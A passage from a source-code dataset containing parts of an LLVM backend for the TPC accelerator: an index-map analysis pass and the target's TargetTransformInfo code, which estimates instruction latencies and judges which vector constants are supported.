LoadToStorIRFEV {\n Instruction *Load;\n Instruction *Store;\n Value *LoadIRF[5];\n Value *StoreIRF[5];\n\npublic:\n LoadToStorIRFEV(Instruction *load, Instruction *store, LoopInfo *LII)\n : Load(load), Store(store) {}\n void computeIndexMap(Function &F, ScalarEvolution *SE, LoopInfo *LI);\n int findIRF(Value *begin, Value *IRF[]);\n};\n\n\n\nbool TPCIndexMap::runOnFunction(Function &F) {\n p_func = &F;\n p_SE = &getAnalysis<ScalarEvolutionWrapperPass>().getSE();\n p_LI = &getAnalysis<LoopInfoWrapperPass>().getLoopInfo();\n collectDataLoop(F, p_SE, p_LI);\n sort();\n print_data();\n return false;\n}\n\nvoid TPCIndexMap::sort() {\n LoopData loopTemp[5];\n int size = 0;\n for (unsigned long i = 0; i < m_loopInfoVec.size(); i++) {\n if (m_loopInfoVec[i].is_Valid()) {\n loopTemp[m_loopInfoVec[i].get_DIM()] = m_loopInfoVec[i];\n size++;\n }\n }\n for (int i = 0; i < size; i++)\n m_loopInfoVec[i] = loopTemp[i];\n}\n\nstatic vector<Constant *> createAString(std::string input, Type *Int8Ty) {\n vector<Constant *> Init;\n for (unsigned long i = 0; i < input.size(); i++) {\n Init.push_back(ConstantInt::get(Int8Ty, input[i]));\n }\n return Init;\n}\n\nvoid TPCIndexMap::print_data() {\n std::string index_space = \"IndexSpace:\";\n StringRef Name = \"IndexSpace\";\n // llvm::dbgs() << \"IndexSpace : {\";\n for (auto run : m_loopInfoVec) {\n if (run.is_Valid()) {\n // llvm::dbgs() << run.get_STEP() << \",\";\n index_space += std::to_string(run.get_STEP()) + \",\";\n }\n }\n // llvm::dbgs() << \"}\\n\";\n index_space += \"#\";\n Type *Int8Ty = llvm::Type::getInt8Ty(p_func->getContext());\n vector<Constant *> Init = createAString(index_space, Int8Ty);\n ArrayType *ATy = ArrayType::get(Int8Ty, Init.size());\n llvm::GlobalVariable *GV0 = new llvm::GlobalVariable(\n *p_func->getParent(), ATy, true, GlobalValue::ExternalLinkage,\n ConstantArray::get(ATy, Init), Name);\n GV0->setSection(\".SCEV\");\n}\n\ntemplate <typename T> static vector<T *> get_list_of(BasicBlock *BB) {\n // Retrun a vector of all element correspond to type <T>\n // indise the basicblock <BB>.\n vector<T *> list;\n for (BasicBlock::iterator II = (*BB).begin(); II != (*BB).end(); II++)\n if (auto Intrin = dyn_cast<T>(II))\n list.push_back(Intrin);\n return list;\n}\n\nstatic vector<Instruction *>\nextractIntrinFromList(vector<IntrinsicInst *> intrinsicList,\n Intrinsic::ID intrinId) {\n vector<Instruction *> selectInst;\n for (auto run : intrinsicList) {\n if (run->getIntrinsicID() == intrinId)\n selectInst.push_back(run);\n }\n return selectInst;\n}\n\nvoid TPCIndexMap::collectDataLoop(Function &F, ScalarEvolution *SE,\n LoopInfo *LI) {\n\n for (auto &Bb : F.getBasicBlockList()) {\n if (LI->isLoopHeader(&Bb)) {\n Loop *Lp = LI->getLoopFor(&Bb);\n LoopData L(Lp, SE);\n m_loopInfoVec.push_back(L);\n }\n }\n\n vector<IntrinsicInst *> IntrinsicsList;\n vector<Instruction *> listOfLoad;\n vector<Instruction *> listOfStore;\n vector<LoadToStorIRFEV> Load2Store;\n vector<Instruction *> temp;\n unsigned long intrinInd = 0;\n // todo: return the type of the intrinsics and is_load , is_Store\n vector<std::pair<Intrinsic::ID, Intrinsic::ID>> intrinSics = {\n {Intrinsic::tpc_ld_tnsr, Intrinsic::tpc_st_tnsr},\n\n };\n do {\n for (auto &Bb : F.getBasicBlockList()) {\n\n listOfLoad = extractIntrinFromList(get_list_of<IntrinsicInst>((&Bb)),\n intrinSics[intrinInd].first);\n for (auto &runer : listOfLoad)\n m_load.push_back(runer);\n listOfStore = extractIntrinFromList(get_list_of<IntrinsicInst>((&Bb)),\n intrinSics[intrinInd].second);\n for (auto &runer : listOfStore)\n m_store.push_back(runer);\n }\n temp = m_load.size() > m_store.size() ? m_store : m_load;\n intrinInd++;\n } while (temp.size() == 0 && intrinInd < intrinSics.size());\n\n if (m_load.size() != m_store.size()) {\n // TODO: Check what append with diffenet size of load and store\n dbgs() << \"This is not support it different size of load and store\\n\";\n }\n for (unsigned long i = 0; i < temp.size(); i++) {\n // Todo: Connect the load to store instruction\n Load2Store.push_back(LoadToStorIRFEV(m_load[i], m_store[i], LI));\n }\n if (m_load.size() < 1 || m_store.size() < 1) {\n // TODO: Support all load and size\n dbgs() << \"We only support load and store of tpc_v_f32_ld_tnsr_i\\n\";\n return;\n }\n Load2Store[0].computeIndexMap(F, SE, LI);\n}\n\nvector<Value *> InsertInstruction;\n\nint LoadToStorIRFEV::findIRF(Value *begin, Value *IRF[]) {\n // Todo: find all dimanations via all phis.\n bool check[5] = {false, false, false, false, false};\n while (begin) {\n InsertInstruction.push_back(begin);\n if (Instruction *ptr = dyn_cast<Instruction>(begin)) {\n if (ptr->getOpcode() == Instruction::PHI)\n dbgs() << \"we don't support direct Indexing\\n\";\n if (ptr->getOpcode() != Instruction::InsertElement)\n break;\n int index =\n dyn_cast<llvm::ConstantInt>(ptr->getOperand(2))->getZExtValue();\n IRF[index] = ptr->getOperand(1);\n check[index] = true;\n begin = ptr->getOperand(0);\n } else\n break;\n }\n if (!check[0])\n return 0;\n for (int i = 1; i < 5; i++) {\n if (!check[i]) {\n for (int j = i + 1; j < 5; j++)\n if (check[j])\n return 0;\n return i;\n }\n }\n return 5;\n}\n\nvoid LoadToStorIRFEV::computeIndexMap(Function &F, ScalarEvolution *SE,\n LoopInfo *LI) {\n Value *IRFLoad = Load->getOperand(0);\n Value *IRFStore = Store->getOperand(0);\n int IRFLengthLoad = findIRF(IRFLoad, LoadIRF);\n int IRFLengthStore = findIRF(IRFStore, StoreIRF);\n if (IRFLengthLoad == IRFLengthStore) {\n for (int i = 0; i < IRFLengthStore; i++) {\n SCEVParser scevRunerLoad(SE->getSCEV(LoadIRF[i]), SE, F.getParent());\n scevRunerLoad.parseExpr(i, 'L');\n SCEVParser scevRunerStore(SE->getSCEV(StoreIRF[i]), SE, F.getParent());\n scevRunerStore.parseExpr(i, 'S');\n }\n }\n}\n" }, { "alpha_fraction": 0.626453161239624, "alphanum_fraction": 0.6295711994171143, "avg_line_length": 34.831722259521484, "blob_id": "c829622502a50addbe7d8c5ad68d30373b780aef", "content_id": "3c3f7028b5883ce20df59279a5cc3ecf32dec628", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 25978, "license_type": "permissive", "max_line_length": 85, "num_lines": 725, "path": "/llvm/lib/Target/TPC/TPCTargetTransformInfo.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCTargetTransformInfo.cpp - TPC specific TTI pass ----------------===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n/// \\file\n/// This file contains implementation of a TargetTransformInfo object specific\n/// to the TPC target machine. It should help to tune target-independent passes\n/// to make their job more TPC friendly.\n///\n//===----------------------------------------------------------------------===//\n#undef _MSC_EXTENSIONS // Turn off iso646 mapping\n#include \"TPCTargetTransformInfo.h\"\n#include \"MCTargetDesc/InstructionDB.h\"\n#include \"llvm/Support/Debug.h\"\n\nusing namespace llvm;\n\n#define DEBUG_TYPE \"tpctti\"\n\nunsigned TPCTTIImpl::getNumberOfRegisters(bool Vector) const {\n if (Vector)\n return 40;\n return 32;\n}\n\n// TPC default latency measured in cycles\nconst unsigned TPCTTIImpl::DEFAULT_LATENCY = 4;\nconst unsigned TPCTTIImpl::ZERO_LATENCY = 0;\n\n//unsigned TPCTTIImpl::getRegisterBitWidth(bool Vector) const {\n// if (Vector)\n// return 256 * 8; // 2048\n// return 4 * 8; // 32\n//}\n\nbool TPCTTIImpl::isSupportedConstant(const Constant *C) const {\n Type *CTy = C->getType();\n\n // No restrictions for scalar constants.\n if (!CTy->isVectorTy())\n return true;\n\n VectorType *CVTy = cast<VectorType>(CTy);\n unsigned EltSize = CVTy->getElementType()->getScalarSizeInBits();\n bool IsElementFloat = !CVTy->getElementType()->isIntegerTy();\n\n // Assume we can create any constant of type int5. It may be not so cheap,\n // but still no more that 5 instructions.\n if (CVTy->getNumElements() == 5) {\n assert(CVTy->getElementType()->isIntegerTy());\n assert(CVTy->getElementType()->getScalarSizeInBits() == 32);\n return true;\n }\n\n // Is this a valid type for VLM? If not, report this constant as supported,\n // probably some backend transform can melt it into something more usual.\n bool VLMType = false;\n if (CVTy->getNumElements() == 64 && EltSize == 32)\n VLMType = true;\n else if (CVTy->getNumElements() == 128 && EltSize == 16)\n VLMType = true;\n else if (CVTy->getNumElements() == 256 && EltSize == 8)\n VLMType = true;\n if (!VLMType)\n return true;\n\n if (isa<ConstantAggregateZero>(C))\n return true;\n\n if (isa<UndefValue>(C))\n return true;\n\n if (auto *D = dyn_cast<ConstantDataVector>(C)) {\n if (D->isSplat())\n return true;\n\n // No float vectors are supported but splats.\n if (IsElementFloat)\n return false;\n\n // If the vector contains sequence like 0, 1, 2, ..., it can be represented\n // by VRF42, VRF43 or VRF44.\n bool Supported = true;\n if (CVTy->getElementType()->isIntegerTy())\n for (unsigned I = 0, E = D->getNumElements(); I < E; ++I)\n if (I != D->getElementAsInteger(I)) {\n Supported = false;\n break;\n }\n if (Supported)\n return true;\n\n // Here we can check for other synthesisable constants.\n return false;\n }\n\n if (auto *D = dyn_cast<ConstantVector>(C)) {\n Constant *V0 = D->getOperand(0);\n bool IsSplat = true;\n for (auto Cur = D->op_begin() + 1, End = D->op_end(); Cur != End; ++Cur)\n if (*Cur != V0) {\n IsSplat = false;\n break;\n }\n if (IsSplat)\n return true;\n\n // No float vectors are supported but splats.\n if (IsElementFloat)\n return false;\n\n unsigned Counter = 0;\n for (auto Cur = D->op_begin(), End = D->op_end(); Cur != End; ++Cur, ++Counter) {\n auto *Elt = cast<ConstantInt>(*Cur);\n if (Elt->getLimitedValue() != Counter)\n return false;\n }\n return true;\n }\n\n llvm_unreachable(\"Unexpected constant element\");\n}\n\nbool TPCTTIImpl::getDefaultILD(\n TPCLatencyEvaluation::InstructionForLatencyDetermination &Ild) {\n\n Ild.the_opCode = 0;\n Ild.the_slotID = TPCLatencyEvaluation::e_issue_slot_load;\n Ild.the_operandID = TPCLatencyEvaluation::e_src_a;\n Ild.the_idxDst0 = false;\n Ild.the_isOpTypeFloat = false;\n Ild.the_isIRFDest = false;\n Ild.the_isVectorPipe = false;\n Ild.the_isLFSRImplicitDst = false;\n Ild.the_isAccFp32 = false;\n Ild.the_is2SrfDst = false;\n Ild.the_is2xLookupAddSub = false;\n Ild.the_registerFile = TPCLatencyEvaluation::e_rf_a;\n Ild.the_isFp16 = false;\n return true;\n}\n\nbool TPCTTIImpl::extractAndPopulate(\n const Instruction *I,\n TPCLatencyEvaluation::InstructionForLatencyDetermination &SrcIld) const {\n bool Success = true;\n Type::TypeID Ty = I->getType()->getTypeID();\n getDefaultILD(SrcIld);\n\n if (getOpcodeSlot<InstToSlot, int>(I->getOpcode(), Ty, SrcIld,\n getInstToSlotMap())) {\n getVectorScalarInfo(Ty, SrcIld);\n getFloatInfo(Ty, SrcIld);\n return true;\n }\n\n // Handle special cases and others\n switch (I->getOpcode()) {\n case Instruction::ExtractElement:\n SrcIld.the_opCode = TPCII::spuMOV_IRF_DIM;\n SrcIld.the_registerFile = TPCLatencyEvaluation::e_rf_i;\n SrcIld.the_slotID = TPCLatencyEvaluation::e_issue_slot_spu;\n break;\n case Instruction::InsertElement:\n SrcIld.the_opCode = TPCII::ldSET_INDX;\n SrcIld.the_isIRFDest = true;\n SrcIld.the_registerFile = TPCLatencyEvaluation::e_rf_s;\n SrcIld.the_slotID = TPCLatencyEvaluation::e_issue_slot_load;\n break;\n case Instruction::Load:\n if (Ty == Type::VectorTyID) {\n getLoadStoreConfig(SrcIld, TPCLatencyEvaluation::e_issue_slot_load,\n TPCLatencyEvaluation::e_rf_i, TPCII::LD_TNSR);\n SrcIld.the_isVectorPipe = true;\n } else {\n getLoadStoreConfig(SrcIld, TPCLatencyEvaluation::e_issue_slot_load,\n TPCLatencyEvaluation::e_rf_s, TPCII::LD_L);\n }\n break;\n case Instruction::Store:\n if (Ty == Type::VectorTyID) {\n getLoadStoreConfig(SrcIld, TPCLatencyEvaluation::e_issue_slot_store,\n TPCLatencyEvaluation::e_rf_i, TPCII::ST_TNSR);\n } else {\n getLoadStoreConfig(SrcIld, TPCLatencyEvaluation::e_issue_slot_store,\n TPCLatencyEvaluation::e_rf_s, TPCII::ST_L);\n }\n break;\n default:\n Success = false;\n }\n\n return Success;\n}\n\nbool TPCTTIImpl::extractAndPopulate(\n const IntrinsicInfo II,\n TPCLatencyEvaluation::InstructionForLatencyDetermination &Ild) const {\n bool Success = true;\n TPCTTIImpl::getDefaultILD(Ild);\n\n if (getOpcodeSlot<IntrinToSlot, Intrinsic::ID>(II.Id, II.Ty[_PRIMARY_TYPE],\n Ild, getIntrinToSlotMap())) {\n getVectorScalarInfo(II.Ty[_PRIMARY_TYPE], Ild);\n if (II.Ty[_PRIMARY_TYPE] == Type::VectorTyID) {\n getFloatInfo(II.Ty[_VECTOR_TYPE], Ild);\n } else {\n getFloatInfo(II.Ty[_PRIMARY_TYPE], Ild);\n }\n return Success;\n }\n LLVM_DEBUG(dbgs() << \"\\nRetTy of intrinsic is \" << II.Ty[_PRIMARY_TYPE]\n << \"\\n\");\n switch (II.Id) {\n // Multi-issue slot instructions are currently hardcoded to load slot\n case llvm::Intrinsic::tpc_gen_addr:\n getLoadStoreConfig(Ild, TPCLatencyEvaluation::e_issue_slot_load,\n TPCLatencyEvaluation::e_rf_i, TPCII::ldGEN_ADDR);\n break;\n case llvm::Intrinsic::tpc_prmt_indx:\n Ild.the_isIRFDest = true;\n getLoadStoreConfig(Ild, TPCLatencyEvaluation::e_issue_slot_load,\n TPCLatencyEvaluation::e_rf_i, TPCII::ldPRMT_INDX);\n break;\n case llvm::Intrinsic::tpc_set_indx:\n Ild.the_isIRFDest = true;\n getLoadStoreConfig(Ild, TPCLatencyEvaluation::e_issue_slot_load,\n TPCLatencyEvaluation::e_rf_s, TPCII::ldSET_INDX);\n break;\n case llvm::Intrinsic::tpc_prefetch:\n getLoadStoreConfig(Ild, TPCLatencyEvaluation::e_issue_slot_load,\n TPCLatencyEvaluation::e_rf_a, TPCII::PREFETCH);\n break;\n case llvm::Intrinsic::tpc_ld_l_v:\n Ild.the_isVectorPipe = true;\n getLoadStoreConfig(Ild, TPCLatencyEvaluation::e_issue_slot_load,\n TPCLatencyEvaluation::e_rf_s, TPCII::LD_L_V);\n break;\n case llvm::Intrinsic::tpc_ld_l_v_low:\n Ild.the_isVectorPipe = true;\n getLoadStoreConfig(Ild, TPCLatencyEvaluation::e_issue_slot_load,\n TPCLatencyEvaluation::e_rf_s, TPCII::LD_L_V_LOW);\n break;\n case llvm::Intrinsic::tpc_ld_l_v_high:\n Ild.the_isVectorPipe = true;\n getLoadStoreConfig(Ild, TPCLatencyEvaluation::e_issue_slot_load,\n TPCLatencyEvaluation::e_rf_s, TPCII::LD_L_V_HIGH);\n break;\n case llvm::Intrinsic::tpc_ld_l:\n getLoadStoreConfig(Ild, TPCLatencyEvaluation::e_issue_slot_load,\n TPCLatencyEvaluation::e_rf_s, TPCII::LD_L);\n break;\n case llvm::Intrinsic::tpc_ld_g:\n getLoadStoreConfig(Ild, TPCLatencyEvaluation::e_issue_slot_load,\n TPCLatencyEvaluation::e_rf_a, TPCII::LD_G);\n break;\n case llvm::Intrinsic::tpc_ld_tnsr_low:\n getLoadStoreConfig(Ild, TPCLatencyEvaluation::e_issue_slot_load,\n TPCLatencyEvaluation::e_rf_i, TPCII::LD_TNSR_LOW);\n break;\n case llvm::Intrinsic::tpc_ld_tnsr_high:\n getLoadStoreConfig(Ild, TPCLatencyEvaluation::e_issue_slot_load,\n TPCLatencyEvaluation::e_rf_i, TPCII::LD_TNSR_HIGH);\n break;\n case llvm::Intrinsic::tpc_ld_tnsr:\n getLoadStoreConfig(Ild, TPCLatencyEvaluation::e_issue_slot_load,\n TPCLatencyEvaluation::e_rf_i, TPCII::LD_TNSR);\n break;\n case llvm::Intrinsic::tpc_st_tnsr:\n getLoadStoreConfig(Ild, TPCLatencyEvaluation::e_issue_slot_store,\n TPCLatencyEvaluation::e_rf_i, TPCII::ST_TNSR);\n break;\n case llvm::Intrinsic::tpc_st_tnsr_high:\n getLoadStoreConfig(Ild, TPCLatencyEvaluation::e_issue_slot_store,\n TPCLatencyEvaluation::e_rf_i, TPCII::ST_TNSR_HIGH);\n break;\n case llvm::Intrinsic::tpc_st_tnsr_low:\n getLoadStoreConfig(Ild, TPCLatencyEvaluation::e_issue_slot_store,\n TPCLatencyEvaluation::e_rf_i, TPCII::ST_TNSR_LOW);\n break;\n case llvm::Intrinsic::tpc_st_l_v:\n getLoadStoreConfig(Ild, TPCLatencyEvaluation::e_issue_slot_store,\n (II.Ty[_PRIMARY_TYPE] == Type::VectorTyID)\n ? TPCLatencyEvaluation::e_rf_v\n : TPCLatencyEvaluation::e_rf_s,\n TPCII::ST_L_V);\n break;\n case llvm::Intrinsic::tpc_st_l_v_high:\n getLoadStoreConfig(Ild, TPCLatencyEvaluation::e_issue_slot_store,\n (II.Ty[_PRIMARY_TYPE] == Type::VectorTyID)\n ? TPCLatencyEvaluation::e_rf_v\n : TPCLatencyEvaluation::e_rf_s,\n TPCII::ST_L_V_HIGH);\n break;\n case llvm::Intrinsic::tpc_st_l_v_low:\n getLoadStoreConfig(Ild, TPCLatencyEvaluation::e_issue_slot_store,\n (II.Ty[_PRIMARY_TYPE] == Type::VectorTyID)\n ? TPCLatencyEvaluation::e_rf_v\n : TPCLatencyEvaluation::e_rf_s,\n TPCII::ST_L_V_LOW);\n break;\n case llvm::Intrinsic::tpc_aso:\n Ild.the_isVectorPipe =\n (II.Ty[_PRIMARY_TYPE] == Type::VectorTyID) ? true : false;\n Ild.the_operandID = TPCLatencyEvaluation::e_src_p;\n getLoadStoreConfig(Ild, TPCLatencyEvaluation::e_issue_slot_store,\n TPCLatencyEvaluation::e_rf_sp, TPCII::ASO);\n break;\n case llvm::Intrinsic::tpc_cache_flush:\n Ild.the_operandID = TPCLatencyEvaluation::e_src_p;\n getLoadStoreConfig(Ild, TPCLatencyEvaluation::e_issue_slot_store,\n TPCLatencyEvaluation::e_rf_sp, TPCII::CACHE_FLUSH);\n break;\n case llvm::Intrinsic::tpc_cache_invalidate:\n Ild.the_operandID = TPCLatencyEvaluation::e_src_p;\n getLoadStoreConfig(Ild, TPCLatencyEvaluation::e_issue_slot_store,\n TPCLatencyEvaluation::e_rf_sp, TPCII::CACHE_INVALIDATE);\n break;\n case llvm::Intrinsic::tpc_lookup:\n Ild.the_isVectorPipe =\n (II.Ty[_PRIMARY_TYPE] == Type::VectorTyID) ? true : false;\n getLoadStoreConfig(Ild, TPCLatencyEvaluation::e_issue_slot_load,\n TPCLatencyEvaluation::e_rf_v, TPCII::LOOKUP);\n break;\n case llvm::Intrinsic::tpc_mov_irf_dim:\n getLoadStoreConfig(Ild, TPCLatencyEvaluation::e_issue_slot_spu,\n TPCLatencyEvaluation::e_rf_i, TPCII::spuMOV_IRF_DIM);\n break;\n case llvm::Intrinsic::tpc_udiv_step:\n getLoadStoreConfig(Ild, TPCLatencyEvaluation::e_issue_slot_spu,\n TPCLatencyEvaluation::e_rf_s, TPCII::spuUDIV_STEP);\n break;\n default:\n Success = false;\n LLVM_DEBUG(dbgs() << \"\\nIntrinsic ID \" << II.Id << \" not handled \\n\");\n }\n return Success;\n}\n\nbool TPCTTIImpl::extractAndPopulate(\n const Intrinsic::ID ID, Type *RetTy, ArrayRef<Value *> Args,\n TPCLatencyEvaluation::InstructionForLatencyDetermination &Ild) const {\n Type::TypeID Ty = RetTy->getTypeID();\n IntrinsicInfo II{ID,\n {Ty, (Ty == Type::VectorTyID)\n ? RetTy->getVectorElementType()->getTypeID()\n : Type::VoidTyID}};\n return extractAndPopulate(II, Ild);\n}\n\nbool TPCTTIImpl::getLoadStoreConfig(\n TPCLatencyEvaluation::InstructionForLatencyDetermination &Ild,\n TPCLatencyEvaluation::_IssueSlot Islot,\n TPCLatencyEvaluation::_RegisterFile Rf, uint32_t Opcode) {\n Ild.the_opCode = Opcode;\n Ild.the_registerFile = Rf;\n Ild.the_slotID = Islot;\n return true;\n}\n\nint TPCTTIImpl::getInstructionLatency(const Instruction *I) {\n unsigned latency = TPCTTIImpl::DEFAULT_LATENCY;\n TPCLatencyEvaluation::InstructionForLatencyDetermination Src;\n\n // Handle cases that does not require the latenciesDB\n // ShuffleVector devolves into a set of extract/insert subregs which in turn\n // becomes copies that are optimized out.\n if (I->getOpcode() == Instruction::BitCast ||\n I->getOpcode() == Instruction::ShuffleVector) {\n return TPCTTIImpl::ZERO_LATENCY;\n }\n\n TPCTTIImpl::initBE();\n\n // Handle intrinsics using the dedicated API\n if (const IntrinsicInst *II = dyn_cast<IntrinsicInst>(I)) {\n SmallVector<Value *, 4> Args(II->arg_operands());\n FastMathFlags FMF;\n return getIntrinsicInstrCost(II->getIntrinsicID(), II->getType(), Args,\n FMF);\n }\n\n // 1-1 mapped instruction\n if (extractAndPopulate(I, Src)) {\n latency = getLatency(Src);\n } else if (isCompoundInst(I)) { // 1-to-Many mapped instruction\n LLVM_DEBUG(dbgs() << \"Doing compound instruction\\n\");\n IntrinsicVector IVec = getCiiMap()[I->getOpcode()]->getMapping(I, getST());\n latency = std::accumulate(\n IVec.begin(), IVec.end(), 0,\n [&Src, &I, this](unsigned SumAcc, IntrinsicBunch IB) {\n unsigned int Latency = 0;\n Type::TypeID Ty[TYPE_MATRIX];\n getTypeMatrix(I, Ty);\n if (extractAndPopulate({IB.Id, {Ty[_PRIMARY_TYPE], Ty[_VECTOR_TYPE]}},\n Src)) {\n Latency = getLatency(Src);\n } else {\n LLVM_DEBUG(dbgs() << \"Unable to find Latency for Intrinsic \"\n << IB.Id << \"\\n\");\n Latency = TPCTTIImpl::DEFAULT_LATENCY;\n }\n LLVM_DEBUG(dbgs() << \"Latency for Intrinsic \" << IB.Id << \" is \"\n << Latency << \" Count is \" << IB.count << \"\\n\");\n return SumAcc + (Latency * IB.count);\n });\n if (!latency) {\n latency = TPCTTIImpl::DEFAULT_LATENCY;\n }\n LLVM_DEBUG(dbgs() << \"Many to one latency for instr \" << I->getName()\n << \" is \" << latency << \"\\n\");\n } else {\n LLVM_DEBUG(dbgs() << \"\\nInstruction \" << I->getOpcodeName()\n << \" not handled \\n\");\n }\n\n return (int)latency;\n}\n\nunsigned TPCTTIImpl::getLatency(\n TPCLatencyEvaluation::InstructionForLatencyDetermination &src) {\n TPCLatencyEvaluation::InstructionForLatencyDetermination dest;\n bool Success = populateDestination(\n const_cast<const TPCLatencyEvaluation::InstructionForLatencyDetermination\n &>(src),\n dest);\n return getLatency(\n const_cast<const TPCLatencyEvaluation::InstructionForLatencyDetermination\n &>(src),\n const_cast<const TPCLatencyEvaluation::InstructionForLatencyDetermination\n &>(dest),\n Success);\n}\n\nunsigned TPCTTIImpl::getLatency(\n const TPCLatencyEvaluation::InstructionForLatencyDetermination &src,\n const TPCLatencyEvaluation::InstructionForLatencyDetermination &dest,\n bool DestPresent) {\n int latency = TPCTTIImpl::DEFAULT_LATENCY;\n\n if (TPCLatencyEvaluation::latenciesDB.find(src) !=\n TPCLatencyEvaluation::latenciesDB.end()) {\n\n if (DestPresent) {\n if (TPCLatencyEvaluation::latenciesDB.find(dest) !=\n TPCLatencyEvaluation::latenciesDB.end()) {\n latency = TPCLatencyEvaluation::latenciesDB[dest].first -\n TPCLatencyEvaluation::latenciesDB[src].first + 1;\n } else {\n LLVM_DEBUG(dbgs() << \"Choosing default latency of 4 as destination \"\n \"ILD lookup has failed \\n\");\n }\n } else {\n latency = TPCLatencyEvaluation::latenciesDB[src].first -\n TPCLatencyEvaluation::e_stage_d2 + 1;\n }\n assert(latency > 0 && \"Error in calculating latency\");\n\n // Debug dump of src,dest and latency\n LLVM_DEBUG(dbgs() << \" Source ILD \" << src.str() << \"\\n\");\n if (DestPresent) {\n LLVM_DEBUG(dbgs() << \" Destination ILD \" << dest.str() << \"\\n\");\n }\n LLVM_DEBUG(dbgs() << \"Calculated latency is \" << latency << \"\\n\");\n } else {\n LLVM_DEBUG(\n dbgs() << \"\\nChoosing default latency of 4 as src ILD not found. \\n\");\n }\n\n return (unsigned)latency;\n}\n\nint TPCTTIImpl::getIntrinsicInstrCost(Intrinsic::ID ID, Type *RetTy,\n ArrayRef<Value *> Args, FastMathFlags FMF,\n unsigned int VF) {\n TPCLatencyEvaluation::InstructionForLatencyDetermination src;\n TPCTTIImpl::initBE();\n if (extractAndPopulate(ID, RetTy, Args, src)) {\n return getLatency(src);\n }\n // return default cycle\n LLVM_DEBUG(dbgs() << \" Intrinsic cannot be located in the latenciesDB. \"\n \"Returning default cycle 4 \\n\");\n return TPCTTIImpl::DEFAULT_LATENCY;\n}\n\nbool TPCTTIImpl::populateDestinationSPU(\n const TPCLatencyEvaluation::InstructionForLatencyDetermination &src,\n TPCLatencyEvaluation::InstructionForLatencyDetermination &dest) const {\n bool Success = true;\n\n switch (src.the_opCode) {\n case TPCII::spuMOV_IRF_DIM:\n dest.the_registerFile = TPCLatencyEvaluation::e_rf_s;\n break;\n case TPCII::spuCMP_EQ:\n case TPCII::spuCMP_GEQ:\n case TPCII::spuCMP_LEQ:\n case TPCII::spuCMP_NEQ:\n case TPCII::spuCMP_LESS:\n case TPCII::spuCMP_GRT:\n dest.the_registerFile = TPCLatencyEvaluation::e_rf_sp;\n break;\n case TPCII::spuJMPA:\n case TPCII::spuJMPR:\n Success = false;\n break;\n }\n return Success;\n}\n\nbool TPCTTIImpl::populateDestinationVPU(\n const TPCLatencyEvaluation::InstructionForLatencyDetermination &src,\n TPCLatencyEvaluation::InstructionForLatencyDetermination &dest) const {\n bool Success = true;\n switch (src.the_opCode) {\n case TPCII::vpuCMP_EQ:\n case TPCII::vpuCMP_GEQ:\n case TPCII::vpuCMP_LEQ:\n case TPCII::vpuCMP_NEQ:\n case TPCII::vpuCMP_LESS:\n case TPCII::vpuCMP_GRT:\n dest.the_registerFile = TPCLatencyEvaluation::e_rf_vp;\n break;\n }\n return Success;\n}\n\nbool TPCTTIImpl::populateDestinationLDSlot(\n const TPCLatencyEvaluation::InstructionForLatencyDetermination &src,\n TPCLatencyEvaluation::InstructionForLatencyDetermination &dest) const {\n bool Success = true;\n\n switch (src.the_opCode) {\n case TPCII::LD_TNSR:\n case TPCII::LD_TNSR_LOW:\n case TPCII::LD_TNSR_HIGH:\n dest.the_registerFile = TPCLatencyEvaluation::e_rf_v;\n break;\n case TPCII::ldGEN_ADDR:\n dest.the_registerFile = TPCLatencyEvaluation::e_rf_a;\n break;\n case TPCII::ldSET_INDX:\n dest.the_registerFile = TPCLatencyEvaluation::e_rf_i;\n break;\n case TPCII::PREFETCH:\n Success = false;\n break;\n }\n return Success;\n}\n\nbool TPCTTIImpl::populateDestinationSTSlot(\n const TPCLatencyEvaluation::InstructionForLatencyDetermination &src,\n TPCLatencyEvaluation::InstructionForLatencyDetermination &dest) const {\n bool Success = true;\n\n switch (src.the_opCode) {\n case TPCII::ASO:\n case TPCII::ST_TNSR:\n case TPCII::ST_TNSR_LOW:\n case TPCII::ST_TNSR_HIGH:\n case TPCII::ST_L_V:\n case TPCII::ST_L_V_HIGH:\n case TPCII::ST_L_V_LOW:\n case TPCII::CACHE_INVALIDATE:\n case TPCII::CACHE_FLUSH:\n Success = false;\n break;\n }\n return Success;\n}\n\nbool TPCTTIImpl::populateDestination(\n const TPCLatencyEvaluation::InstructionForLatencyDetermination &src,\n TPCLatencyEvaluation::InstructionForLatencyDetermination &dest) const {\n bool Success = true;\n dest = src;\n dest.the_operandID = TPCLatencyEvaluation::e_dst;\n dest.the_isVectorPipe = false;\n\n assert((src.the_slotID == TPCLatencyEvaluation::e_issue_slot_spu) ||\n (src.the_slotID == TPCLatencyEvaluation::e_issue_slot_vpu) ||\n (src.the_slotID == TPCLatencyEvaluation::e_issue_slot_load) ||\n (src.the_slotID == TPCLatencyEvaluation::e_issue_slot_store) &&\n \"Unsupported slot\\n\");\n // Examine src to configure the destination.\n switch (src.the_slotID) {\n case TPCLatencyEvaluation::e_issue_slot_spu:\n Success = populateDestinationSPU(src, dest);\n break;\n case TPCLatencyEvaluation::e_issue_slot_vpu:\n Success = populateDestinationVPU(src, dest);\n break;\n case TPCLatencyEvaluation::e_issue_slot_load:\n Success = populateDestinationLDSlot(src, dest);\n break;\n case TPCLatencyEvaluation::e_issue_slot_store:\n Success = populateDestinationSTSlot(src, dest);\n break;\n }\n if (!Success) {\n LLVM_DEBUG(dbgs() << \"Cannot populateDestination ILD \" << Success << \"\\n\");\n }\n return Success;\n}\n\nbool TPCTTIImpl::getFloatInfo(\n const Type::TypeID Input,\n TPCLatencyEvaluation::InstructionForLatencyDetermination &Target) {\n\n switch (Input) {\n case Type::FloatTyID:\n Target.the_isOpTypeFloat = true;\n break;\n case Type::HalfTyID:\n Target.the_isFp16 = true;\n break;\n default:\n LLVM_DEBUG(dbgs() << \"Non-float type id supplied : \" << Input << \" \\n\");\n }\n return true;\n}\n\nbool TPCTTIImpl::initLatenciesDB() const {\n if (TPCLatencyEvaluation::latenciesDB.empty()) {\n if (ST->hasGaudiISA()) {\n TPCLatencyEvaluation::gaudi_buildInstructionLatenciesDB();\n }\n else {\n TPCLatencyEvaluation::dali_buildInstructionLatenciesDB();\n }\n }\n return true;\n}\n\nbool 